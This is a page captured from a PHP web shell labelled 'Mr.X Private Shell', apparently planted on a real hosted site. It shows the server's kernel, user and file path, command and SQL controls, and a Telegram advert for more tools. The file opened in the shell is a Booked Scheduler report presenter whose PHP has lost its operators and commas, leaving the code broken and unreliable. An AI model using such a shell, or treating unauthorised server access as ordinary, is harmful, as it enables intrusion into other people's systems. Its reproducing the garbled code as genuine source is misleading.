Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/booked/Presenters/Reports      ( Reset | Go to )
File Name: CommonReportsPresenter.php
Edit
<?php
/**
Copyright 2012-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR 'Presenters/Reports/ReportActions.php');
require_once(
ROOT_DIR 'Presenters/ActionPresenter.php');
require_once(
ROOT_DIR 'Pages/Reports/CommonReportsPage.php');
require_once(
ROOT_DIR 'lib/Application/Reporting/namespace.php');

class 
CommonReportsPresenter extends ActionPresenter
{
    
/**
     * @var IReportingService
     */
    
private $service;
    
/**
     * @var UserSession
     */
    
private $user;
    
/**
     * @var ISavedReportsPage
     */
    
private $page;

    public function 
__construct(ICommonReportsPage $pageUserSession $userIReportingService $service)
    {
        
parent::__construct($page);

        
$this->service $service;
        
$this->user $user;
        
$this->page $page;

        
$this->AddAction(ReportActions::Generate'GenerateReport');
        
$this->AddAction(ReportActions::Email'EmailReport');
        
$this->AddAction(ReportActions::Csv'CreateCsv');
        
$this->AddAction(ReportActions::PrintReport'PrintReport');
        
$this->AddAction(ReportActions::Delete'DeleteReport');
    }

    public function 
PageLoad()
    {
        
//$this->page->BindReport($report, new ReportDefinition($report, $this->user->Timezone));
    
}

    public function 
ProcessAction()
    {
        try
        {
            
parent::ProcessAction();
        }
        catch (
Exception $ex)
        {
            
Log::Error('Error getting report: %s'$ex);
            
$this->page->DisplayError();
        }
    }

    private function 
GenerateAndDisplay($callback)
    {
        
$reportId $this->page->GetReportId();
        
$userId $this->user->UserId;
        
$report $this->service->GenerateCommonReport(new CannedReport($reportId$this->user));

        if (
$report != null)
        {
            
Log::Debug('Loading saved report for userId: %s, reportId %s'$userId$reportId);

            
$this->page->BindReport($report, new ReportDefinition($report$this->user->Timezone));
            
call_user_func($callback);
        }
        else
        {
            
Log::Debug('Report not found for userId: %s, reportId %s'$userId$reportId);
            
$this->page->DisplayError();
        }
    }

    public function 
GenerateReport()
    {
        
$this->GenerateAndDisplay(array($this->page'ShowResults'));
    }

    public function 
CreateCsv()
    {
        
$this->GenerateAndDisplay(array($this->page'ShowCsv'));
    }

    public function 
PrintReport()
    {
        
$this->GenerateAndDisplay(array($this->page'PrintReport'));
    }

    public function 
EmailReport()
    {
        
$reportId $this->page->GetReportId();
        
$userId $this->user->UserId;
        
$report $this->service->GenerateSavedReport($reportId$userId);

        if (
$report != null)
        {
            
Log::Debug('Loading saved report for userId: %s, reportId %s'$userId$reportId);

            
$this->service->SendReport($report, new ReportDefinition($report$this->user->Timezone), $this->page->GetEmailAddress(), $this->user);
        }
    }

    public function 
DeleteReport()
    {
        
$reportId $this->page->GetReportId();
        
$userId $this->user->UserId;

        
Log::Debug('Deleting saved report. reportId: %s, userId: %s'$reportId$userId);
        
$this->service->DeleteSavedReport($reportId$userId);
    }
}

?>

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL